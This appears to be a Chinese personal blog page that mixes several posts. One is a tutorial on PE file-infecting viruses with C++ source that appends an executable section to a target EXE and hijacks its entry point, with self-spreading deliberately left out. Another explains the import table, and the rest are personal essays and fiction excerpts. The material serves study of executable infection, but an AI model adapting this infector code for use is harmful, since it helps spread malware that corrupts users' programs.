印记城

夕阳,枯草,蝶双飞

PE病毒

前些日子风风光光的熊猫烧香病毒,看起来很牛逼,那个作者刚放出来还装B,说啥,他和他的朋友已经在国内是最顶尖的水平了,我都懒的说他了..算了,正好C#课设没事干,就写一个类似的,虽然可能功能上没他的齐全(毕竟人家靠这吃饭的~~),不过原理上是一样的哈

PE病毒其实很简单,只要了解PE结构就可以了,一般分为有节感染和无节感染

 

有节感染:就是给PE文件自己申请一个节,然后讲自己的病毒代码注入进去,然后修改程序的入口地址,转向自己的代码,完成后,在把控制权还给原程序,原理很简单,操作也不复杂(后面有代码为证)

无节感染:也很简单,原理是磁盘上放置的文件都是按照一簇(一般为200H)对齐的,不足的地方补0,我们就把自己的代码注入到这些“缝隙处”,然后和上面一样的操作,如下图

 
 
 
上面的那些00填充的就是我所说的缝隙
 
当然这里面难点并不是注入那些
反而是资源重定位,比如你注入一个函数你要调用messagebox(NULL,"123",NULL,NULL)
如果你直接这样写,那绝对是不对的
messagebox(NULL,NULL,"123",NULL)
反编译之后为
push 0
push 0
push offset "123"
push 0
call dword[********]
会有2个错误
1.第二个参数压入的是偏移地址,是你加载程序里面的偏移地址,此地址在注入目标程序内根本无效
2.call dword[*******]更有问题,因为编译器需要区分外来函数和本土函数的区别,它会多使用5字节来判断
也就是
       call dword[x]
x:    jmp   真正地址
而这个X地址明显也是加载程序里面的偏移地址
 
所以这个问题反而是关键性的问题,本程序里面只是解决了一点,利用堆栈传参,再加上一部分硬代码,才解决的,不过如果想要和在自家程序那样使用参数还是不行的,这也是后续开发要解决的一个难点
 
好了不扯淡,直接上代码
#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
#include<windows.h>
using namespace std;

#pragma data_seg(".mydat")															//申请一个新的段
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")										//告诉编译器新的段
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")									
#pragma comment(linker,"/MERGE:.mydat=.shell")										//合并段
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop  ebx _asm lea eax, A _asm sub ebx,  eax
#define VA_END  -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;

void WINAPI Fun1()
{
	__asm
	{
		    PUSH  0x00333231 
			MOV   EAX, ESP
			PUSH  0
			PUSH  0
			PUSH  EAX
			PUSH  0
			mov eax,0x77d5058a
			CALL  eax
			ADD   ESP,  4	
	}
	_asm
	{
			_EMIT 0xE9
			_EMIT 0x83
			_EMIT 0xB0
			_EMIT 0xFF
			_EMIT 0xFF
	}

}

void End() 
{

}


int Align(int nSize, int n)
{
  if(nSize % n)
  {
    int num = nSize / n;
    return (num + 1) * n;
  }
  return nSize;
}


#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main() 
{
  MessageBox(NULL,"123","1",NULL);
  DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
  HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
  HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
  IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
  IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
  DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
  DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
  stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
  
  //设置新的节属性
  strcpy((char*)stNewSec->Name, ".CIW");
  stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
  stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
  stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
  stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
  stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
  
  stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
  stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

  //移动文件指针(文件实际内容是分节存放的,在内存中是分页存放的)
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
  SetEndOfFile(hFile);

  dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

  stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

  FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

  UnmapViewOfFile(pFile);
  CloseHandle(hMapFile);
  CloseHandle(hFile);  
  
  return 0;
}
 

注:目前代码只是一个不完整,为了控制破坏性,没有加上自传染,只是感染一个目标文件

PE输入表

 输入表是个很有意思的东西,直接拆一个EXE分析下

随便找个EXE,打开后,先找到PE头,在找到偏移+80H处,这里就是输入表在内存中的偏移地址,如下图


可以看到偏移地址为0X2028 ,所以我们找到此处
 
 

输入表是一个这样的结构

00h        union

                        characteristics                DWORD        ?

                        originalFirstThunk         DWORD        ?                                                ;存放是一个偏移,指向输入名称表

04h        TimeDateStamp                     DWORD        ?                                                ;一个32位时间标志

08H        Forwarderchain                      DWORD        ?                                               ;指向第一个被转向的API地址

0CH        Name                                       DWORD        ?                                               ;指向DLL名字 

10H        FirstTHUNK                             DWORD        ?                                                ;指向输入地址表

 

对应上面我们可以找到对应的值为

originalFirstThunk                0x00002070                               ;查看此处内存为:AE 20 00 00 D4 20 00 00 9E 20 00 00 C8 20 00 00                       ?..?..?..?..
                                                                                                                                           00402080  BA 20 00 00 8C 20 00 00 00 00 00 00                          ?..?......?D

 

TimeDateStamp                   0x00000000

Forwarderchain                    0x00000000

Name                                     0x000020e4                                ;查看此处内存为:004020E0              75 73 65 72 33 32 2E 64 6C 6C            user32.dll

FirstTHUNK                          0x0000200c                                ;查看此处内存为:C9 59 D2 83 F3 D2 77 71 BE D1 77 CE 08 D2 77

                                                                                                                                          CE 3D D2 77 0C B1 D3 77 00 00 00 00                                                 ....p

originalFirstThunk 其实指向的是一个数组,里面放的指向函数名的指针,而FirstTHUNK存放的是对应这个函数名的实际地址(DLL里面的),关系如下图

 

很简单,不过有些要注意的地方

1.originalFirstThunk 指向的INT数组并不直接指向函数名,而是指向函数名的前2个字节,这前2个字节是函数的HINT,如我们选取它指向的第一个数据:

AE 20 00 00 ,查看此处内容:

 
0000 便是EndDialog的HINT标识,后面是函数名,而我们找到对应的Firstthunk可以找到 :C9 59 D2 83
这个地址也便是EndDialog在DLL里面的实际地址,而这个HINT值有何用?在dll链接处理中,系统先根据hint值
来获得需导入函数的地址,如果失败了,会按函数名来搜索比对获
 
2.程序在硬盘上和在内存中是不一样的,因为程序在硬盘上是按照簇来对称的,而在内存里面是按照页面大小来对称的,而且FirstTHUNK的内容也不一样
,在硬盘上FirstTHUNK   里面的内容其实和originalFirstThunk 一样,而当系统初始化这个程序的时候,通过originalFirstThunk 指向的函数名,在通过getProcAdress来获取DLL里面的地址,在把此地址赋值到FirstTHUNK  里,才有我们看到那些实际地址,如下图(硬盘上的内容)
 

for love

因为爱她,所以离开她 ,这并不是一件伟大的事,而是一件很无奈的事

just love

我不相信一见钟情,不相信山盟海誓,我只相信,如果我还爱你,那么我会好好待你 

人生若只如初见

              在这个时代,最艰难的事,就是有尊严地活着

             直至第三天的黄昏,少年才挣扎着回来。小女孩安安静静地坐在洞口等他归来,也不知道坐了多久。 这个晚上,小女孩皱着眉头,用雪白的小牙全力撕咬着青白色韧得象块橡皮的喷火蚁肉。蚁肉又韧又腥,她却努力将每块肉都嚼细,吞下,就连手指上沾着的汁液也舔得干干净净。 洞穴深处,少年则隐在黑暗中,一点一点清理着身上纵横交错、深可见骨的伤口。少年去一次喷火蚁的巢穴,需要三天。于是少年、女孩和水蛭的生活,便以三天为一个轮回,周而复始地重复着。

    此时天边的地平线上,忽然透出一线鱼肚白,淡淡的晨光倾泻出来,如一幅巨大的幕布平平地铺在群山上。在黑与白之间矗立着的她,刹那间的对比是如此的强烈,巨剑、盔甲、梭刺、面具,都是由无数锋锐如刀般的直线构成,绝无一根曲线,只有那头苍灰色飞舞的长发除外。在这个黑与白构成的时刻,她孤立在群山之顶,一边是苏,一边是帕瑟芬妮。

 

        “一个女孩子想要弄钱,就只有一个办法。这里的课每一节都那么贵,而所有的我都要学,所以我需要很多的钱。”这是莎莉第一句给苏留下印象的话。 而苏记得的另一幕,则是脸上笼罩着虔诚与坚定的莎莉说:“我要学所有能够学到的东西,将来,我要把这些知识带到荒野去。我要改变荒野,要让那里生活的人们都能有吃的,不再被这里的人当成野兽一样对待;我不想我的孩子们将来还要重复我曾经的童年,不想她们在还没长大的时候就要用身体去换取一块面包或是腐肉。” 那一刻,莎莉并不象才十几岁的孩子,而仿佛是一名肩负着沉重使命的使徒。所有的人都有梦想,但绝大多数人的梦想都难以实现。莎莉的梦想,看上去就是最不可能实现的那种。

                我希望找到我的梅迪尔丽,用吾一生去守护与她

〖大预言术〗一只有着龙的灵魂的青蛙

         今天刚从学校来到华科~正好从食堂吃完饭准备去敲代码去,碰巧看到一个叫什么权利协会啥的在招新,他们的门口放着一副画,看起来很有趣,上书几个大字"维权",下面画着一个拳头

        不可否认,这幅画很有意思, 画确实是很有意思, 直接道出一个真理"权利来自拳头"不过摆在中国这个环境里,就显的有些可笑和苍白了,尤其是旁边还坐着一些学生,中国不缺乏文人骚客, 中国丢失的是最本质的东西—对自由的追求,龙的灵魂已经被封印数千年,灵性正在逐渐的丧失,正由极阳转向极阴,国人中的蛇性越来越强,国人从一个循环中跳到另一个循环中,从一个沸水中跳到另外一个温水里,每当温水变成滚水的时候,剧痛会让封印松懈一点点,然后青蛙会恢复一丝灵气,于是青蛙挣扎的跳入另外一个温水之中,于是惰性开始吞噬灵气,温水和谐掉一切,青蛙又开始一个美梦..当某一天,青蛙在美梦中也认为自己是熟的的时候,那正是中华灭亡之日

悲剧的起源

        其实这一切都来自一个巨大无比的误会..真的..哥来错了世界....

这要从很久很久以前说起了..哥那时候是个巫妖..就是那种每天到处逛的那种,死亡位面,元素位面,无底深渊,巴托地狱,印记城..甚至连天堂山上也曾溜过去,不过当然哥最爱去的还是死亡位面,可爱的小骷髅,那么单纯的亡灵气味,是那么的舒服,日子混久了,亡者位面的一部分力量也被我窃取了,哈哈,那时候是那么的逍遥自在呀, 哪象现在呀...这么的杯具,可惜好日子总是过的很快,在某次与仇敌的大战中,哥虽然杀死了那位战天使, 可惜我的本命戒指(那是一个相当漂亮的戒指,戒指是个九面体,每个面体对应着一个死亡位面)被我们战斗所引起的时空缭乱所吞噬,也不知道流落到哪个位面..哎,哥本来已经与那几个世界的根源联系起来了,也就是那几个世界不灭,哥也是永生之体,可这下倒好,力量的流失导致我必须响应轮回的规则(当然另一方面也是无奈啊,那次击杀的敌人是天堂山上一位相当重要的领导..没办法,只得跑路),所以我屁颠屁颠的进了轮回...来到了这个世界..

        前面说过哥是名巫妖,于是我便按了巫妖的加点方式加了我的属性点...全智力..0力量..0魅力..,我发誓这绝对是魔法世界里最极端也是最受巫妖喜爱的加点方式,我甚至还比较了几种加点方法,结果都是这种最牛X,事实证明这种加点确实很牛X, 可问题是这牛X是有前提的..那就是哥犯下的第一个错误,哥来到了中土世界..而不是魔法世界..这个世界元素浓度太低了..低的可怜, 凭借着哥这么高的亲和力, 也仅仅能感应到一种力量的存在..我记得他们把这种力量叫做佛力..妈的,最搞笑的是这中力量竟然是偏向光明属性的,当然在最本质的层次, 这种力量还是混沌属性的..这倒是让我欣慰不少...如果仅仅是这一切,哥还不至于悲剧如此,接着哥犯了第二个错误——选职业

        大家都知道职业的重要性,哥悲剧的发现我的属性加成方法非常符合一种职业——程序员..程序员:张的丑(没加魅力啊....),狂宅(不敢出门啊...),狂妄而自卑(哥知道自己其实是个巫妖,很牛X的那种, 可大家不知道呀),简直是为哥量身打造的..对此我只能说fuck!

 

                未完待续...





Host by is-Programmer.com | Power by Chito 1.3.3 beta
Butterfly Theme | Design: HRS Hersteller of mobile Hundeschule.